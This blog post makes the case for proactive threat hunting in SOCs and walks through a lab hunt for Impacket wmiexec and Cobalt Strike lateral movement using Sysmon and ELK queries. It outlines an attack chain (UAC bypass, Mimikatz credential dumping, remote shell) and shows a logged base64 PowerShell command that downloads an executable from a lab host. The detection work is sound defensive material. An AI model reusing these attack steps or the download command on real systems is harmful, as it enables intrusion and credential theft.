Introduction

You’d be forgiven for thinking that Threat Hunting is just another Cyber Buzz Word/Phrase spreading throughout the industry, the latest term used to push more product and managed services on a SOC. The reality, however, is that Threat Hunting is an extremely valuable skill and one that every SOC should have.

In fact, I believe that Threat Hunting provides more value than the traditional approach that many SOCs take. The traditional approach being switch on pre-made generic rules from a range of cyber tools like AV and IDS, as well as ingest IOCs from Intel Providers and search for them across the estate.

This typical approach would be what I call a reactive model. A team of analysts sit around waiting for alerts from different tools to trigger, they then triage the alerts and perform an investigation.

In my view, there are a few issues with this approach.

The issues

  • False Positives: Many generic alerts can be prone to false positives. Vendors design rules to work on many different estates. They’re not designed to work on your specific estate. Additionally, with IOCs, bad intel from a provider can generate a lot of noise on your estate.
    • Of course, rules can be tuned to perform better and cut false positive noise. But this is not always easy or even possible.
    • Additionally, false positives play a huge role in creating analyst fatigue. Investigating and closing the same false positives day after day will quickly cause analysts to become frustrated, and lose interest. Team productivity will drop as a result.
    • If analysts are used to closing false positives all the time, chances are they’ll wrongly close a true positive as a false positive for rules that are particularly noisy.
  • Detection Gaps: With a reactive approach, you’re sitting relying on the rules that you have to detect the full spectrum of malicious activity.
    • It requires you to have good detection coverage, but also requires you to have a complete picture of your detection coverage and your detection gaps.
    • Using frameworks like Mitre is incredibly useful for finding gaps in coverage. However, the reality is most SOCs do not have their coverage mapped to a framework.
    • Red Teams can help find gaps in detection coverage. However, most SOCs will only perform one Red Team a year, and a lot can change in a year.

A Different Approach

Some SOCs do already perform threat hunting on their estates, but in most cases this is conducted sporadically when there’s some free time. Free time can be hard to come by when you’re closing false positives all day.

What if instead of spending 90% of time reacting to alerts, the focus was switched to a proactive model? Or if 90% of the time was spent Threat Hunting instead. What impact would that have?

The Benefits

  • Assume Breach: Assume Breach is a common phrase in the industry. It’s a mentality that analysts are encouraged to have when triaging alerts, “assume there’s been a breach”. But sitting around waiting for alerts to come in doesn’t practice this mentality. However, with a Threat Hunting focused approach, you’re forced to hold this mentality, as you’re actively looking for threats and successful breaches.
  • Being Proactive: Being proactive and looking for threats is a better use of time than sitting around waiting for alerts to come in.
    • You’re not reliant on rules and detections you have, and you can hunt for activity where you have detection gaps.
  • Team Productivity: Analysts will be more productive. If they’re hunting for new and interesting activity each day, they’ll be more engaged and interested in their work.
    • Good research-based threat hunting takes skill, and analysts will develop their technical knowledge by conducting in-depth research before hunts.

Understanding Threat Hunting

So we now know the benfits of Threat Hunting, but what actually is it? And how can you do it?

Well, the first thing to make clear is that Threat Hunting is not taking a bunch of IPs and other IOCs and searching for them across your estate. Take a look at the pyramid below. It’s called the Pyramid of Pain. What this pyramid illustrates is the “pain” or effort an attacker will experience if you are able to detect an indicator in each block.

Pyramid of Pain

For example, if we were to take the tool Mimikatz as an example. If you detect Mimikatz based on its hash value it would be trivial for an attacker to change the value of the application, therefore, bypassing your detection. However, if you detected Mimikatz by looking for uncommon processes establishing a handle to LSASS, that would be significantly harder for an attacker to bypass. Additionally, you would also detect other attack tools which exploit LSASS.

Threat hunting should be focused on the top two blocks of the pyramid, TTPs and Tools.

Threat Hunt Model

There are an infinite amount of different threat hunting models available on the internet. But most of them are more or less the same. The typical model looks like this.

Threat hunt model
  • Research: This is one of the phases that I often see overlooked. This is what kicks off your threat hunt. Research can come from a variety of places, maybe you see a new POC for a tool being shared on Twitter. Or maybe you read a blog on a new attack vector. Regardless, this kick starts your research. From here, you dig deeper and investigate the attack vector.
  • Data and Telemetry: Once you have an understanding of the attack vector, you need to establish whether or not you have the correct data set to detect the threat. Whether it be proxy logs, endpoint logs, or something else.
  • Build Hypothesis: This is where you establish the logic of your hunt analytic. This stage is closely linked to the research phase. In my experience, the best way to build a hypothesis is to first test the attack vector. Build a lab and practice using the attack tool, or experiment with the attack vector. Once you’ve successfully experimented, review your logs. Observe what data was collected.
  • Create Hunt Analytic: Next you need to formulate your search. This is essentially where you test your hypothesis against your data & telemetry. A hunt analytic could be anything from a parent and child process relationship or maybe a specific filename and command line value.
  • Investigate and Incident Response: This obviously only occurs if you find some badness while hunting.
  • Tune Review Analytic: Here is where you improve your search to cut out the noise. Likewise, if it’s been turned into an automated analytic, refine it to cut out any false positives.

Let’s Get Technical – Demo

Let’s take a look at a threat hunting example by exploring some lateral movement techniques using Cobalt Strike and Impacket. Both of the techniques are not detected by some of the best EDRs on the market, which makes them a good candidate for Threat Hunts.

It’s worth bearing in mind that while EDRs are great tools that have really enhanced the detection capabilities of many organisations around the world, they’re not perfect. They can be bypassed and there are gaps in their coverage. You should never be reliant on just one security tool, and this again proves the value of threat hunting.

Testing Environment

The test environment is made up of two hosts, a desktop PC and a Domain Controller. A market-leading EDR (that shall remain nameless) is installed on the DC. Both hosts have Sysmon running on them with the SwiftOnSecurity Sysmon Config, and these logs are being fed into ELK.

If you’d like to see how to setup ELK SIEM, you can see my previous blog here.

Attackers Perspective

First, let’s paint the picture of what the attacker has done on our hosts, so it’s clearer what we’re threat hunting for.

  1. User HR was sent a malicious link to a .hta file, which when opened, executes a malicious payload to spawn a Cobalt Strike Beacon running under the user’s context.
  2. As the user does not have admin privileges, the attacker performed privilege escalation. This was done by uploading a secondary payload to the host (via the beacon) and executing it under escalated context using the fodhelper UAC bypass.
  3. This gives us a new beacon running under a higher privileged context. From here, credentials on the host were dumped using Mimikatz via the beacon.
  4. The next step is where we’re going to perform our lateral movement.
    1. Before we do, it’s worth mentioning that a lot of the above activity would have been detected by most EDRs, but there are obviously other ways to achieve the same objectives which can go undetected.
    2. The first method of lateral movement is using wmiexec from Impacket. Using the administrator’s credentials stolen with Mimikatz, we are able to get an interactive shell to the domain controller. Let’s see what using wmiexec looks like, and how we can detect it in a hunt.
Cobalt Strike Attack Tree

WMIEXEC

As wmiexec is open source and the code is available on GitHub, one of the things we might do as part of our research phase is analyse the tools code. One part of the code that sticks out is the remote shell function. We can see here that cmd.exe is being launched, and is parsing flags “/Q /c “. We also know that WmiPrvSE.exe is likely to be the parent of cmd.exe, as it’s wmi we’re exploiting to establish our shell. 

lass RemoteShell(cmd.Cmd):       
                
    .......................................
        self.__output = '\\' + OUTPUT_FILENAME       
                
        self.__outputBuffer = str('')       
                
        self.__shell = 'cmd.exe /Q /c '       
                
        self.__shell_type = shell_type       
                
      ........................................
                     
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'

With that in mind, we can use a query like the one below, to search for cmd.exe as a child of wmiPrvSE.exe with the command line ” cmd.exe /Q /c” followed by a wildcard. 

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line :   cmd.exe /Q /c *

Searching on this activity returned a few results, including this event. 

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 16:31:42.163
 ProcessGuid: {75D30705-A7EE-60D8-2748-0E0000000000}
 ProcessId: 4956
 Image: C:\Windows\System32\cmd.exe
 FileVersion: 10.0.14393.0 (rs1_release.160715-1616)
 Description: Windows Command Processor
 Product: Microsoft® Windows® Operating System
 Company: Microsoft Corporation
 OriginalFileName: Cmd.Exe
 CommandLine: cmd.exe /Q /c powershell.exe -exec bypass -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAxADkALgAxADMANwA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAG4AZgBzAC4AZQB4AGUAJwAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABEAG8AdwBuAGwAbwBhAGQAcwBcAG4AZgBzAC4AZQB4AGUAIgA= 1> \127.0.0.1\ADMIN$__1624811482.3061206 2>&1
 CurrentDirectory: C:\
 User: RT-LAB\Administrator
 LogonGuid: {75D30705-A7DA-60D8-9E31-0E0000000000}
 LogonId: 0xE319E
 TerminalSessionId: 0
 IntegrityLevel: High
 Hashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A
 ParentProcessGuid: {75D30705-A634-60D8-BC12-050000000000}
 ParentProcessId: 3868
 ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
 ParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

There’s some interesting stuff here. Based on the command line it looks like a PowerShell command encoded in base64 is being executed, where the output of the command is then written to a temp file in an admin share.

We can use the writing of a file to an admin share to better improve our search query.

FYI, the use of wmiexec to launch PowerShell to then download a malicious executable went undetected by our EDR.

Hunt Performance

Our original query from before returned over 70 hits over a 30 day period on an estate with over 20,000 devices. That’s not bad, but we can improve our hunt query using the new information we now have. 

process.parent.name : "WmiPrvSE.exe" and process.pe.original_file_name: Cmd.Exe and process.command_line: \127.0.0.1\ADMIN$

Running the query above returned hits for only our attacker activity, nothing else. Making it a good hunt, we could probably turn this into a high confidence detection based on the 0% false-positive rate.

Lateral Movement with Cobalt Strike

Interestingly wmiexec isn’t the only attack tool that utilises the admin share. The “Jump” function that can be run from a Cobalt Strike beacon also writes a file into the admin share. If we look at the Lateral Movement (Spawn a Session) section of the Cobalt Strike Beacon Documentation we can see multiple functions that use the admin share.

Cobalt Strike Jump

If we look in our logs, we can see quite a few useful entries for the activity we can build hunts on.

Registry key added

We can see details of a registry key being added to the host as part of the creation of a new service. 

Registry value set:
 RuleName: T1031,T1050
 EventType: SetValue
 UtcTime: 2021-06-27 21:38:44.784
 ProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ProcessId: 984
 Image: C:\Windows\system32\services.exe
 TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
 Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
winlog.event_data.Details: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 winlog.event_data.EventType: SetValue
 winlog.event_data.TargetObject: HKLM\System\CurrentControlSet\Services\0134ebf\ImagePath
New Service

There’s a separate event for the installation of a new service, again with our new executable included. 

A service was installed in the system.
 Service Name:  0134ebf
 Service File Name:  \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 Service Type:  user mode service
 Service Start Type:  demand start
 Service Account:  LocalSystem
Process Creation

And finally we have the execution of the process. 

Process Create:
 RuleName: -
 UtcTime: 2021-06-27 21:38:45.122
 ProcessGuid: {75D30705-EFE5-60D8-C3FA-260000000000}
 ProcessId: 1352
 Image: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 FileVersion: -
 Description: -
 Product: -
 Company: -
 OriginalFileName: -
 CommandLine: \GSOC-Lab-DC\ADMIN$\0134ebf.exe
 CurrentDirectory: C:\Windows\system32\
 User: NT AUTHORITY\SYSTEM
 LogonGuid: {75D30705-602B-60D7-E703-000000000000}
 LogonId: 0x3E7
 TerminalSessionId: 0
 IntegrityLevel: System
 Hashes: MD5=F43CA9DC11F486ED49BFF32C9A9AE78B,SHA256=A5EE87651D03534C449DA842C768903060C6CDF22A9896C6C66720CF313949C5,IMPHASH=BED5688A4A2B5EA6984115B458755E90
 ParentProcessGuid: {75D30705-602A-60D7-E044-010000000000}
 ParentProcessId: 984
 ParentImage: C:\Windows\System32\services.exe
 ParentCommandLine: C:\Windows\system32\services.exe

Hunting for this activity

There’s a few things we could hunt for to find this activity in the future.

  • Creation of a new service where the service file name includes the admin share.
  • Creation of a registry key by services.exe which calls a file in the admin share.
  • Process creation of a file located in the admin share with services.exe as the parent.
  • File written to disk in the admin share where file name matches the following regex “.admin\$\/[a-zA-Z0-9]{7}\.exe$”
    • When Cobalt Strike writes a file to the admin share, it generates a random file name consisting of 7 alphanumerical characters. This regex I’ve created here may need to be modified depending on the regex flavour you use.

What you need to hunt

To develop an effective basic threat hunting function in your SOC you do not need much.

  • Mitre Mapping: I would recommend mapping your hunts to Mitre, this will help you keep track of which coverage gaps you have hunted in and which need more focus.
  • Plan: Plan your hunts. This saves analysts from hunting for the same things and duplicating work.
  • Talented Analysts: Threat hunting is not easy, and it takes time and skill to perform research and develop hunts from research. Give your analysts the time, freedom and resources to perform research and hunts.
  • Logs: Make sure you have the basic logs coming into your SIEM or Search Platform. Proxy logs, endpoint logs (whether EDR or Sysmon), Authentication logs, etc…
  • Alerting: Believe it or not, I’m not against alerting and use cases, just low-quality ones. For hunts that produce a very low false-positive rate, hunt logic can be used to create a detection alert. Alerting obviously plays an important role in any SOC and needs to work alongside threat hunting.

Closing Thoughts

At the beginning of this post, I said that SOCs should spend 90% of their time threat hunting and 10% of time dealing with alerts and tickets. This is obviously not realistic. But what I think every SOC should do is put more resources into research-based threat hunting, and use that process to create high confidence detections. I generally do think at least 60% of analysts’ time should be spent researching and threat hunting on the estate. I believe that this can have a lot more value than spending the majority of the time responding to low-quality false positives.

A well-devleoped Threat Hunting function will aim to automate hunts and generate threat leads for analysts to pick up and investigate. In my mind, this could be used in the place of generic, low-quality detections.

More to come…

I’ll be releasing another post soon on how you can take threat hunting to the next level, and how you can incorporate the Sqrrl Framework into improving your threat hunt capability. As well as how you can automate threat hunts with a SOAR.

I’ll also be releasing some mini-posts on creating detections for common attack tools like Cobalt Strike and Impacket.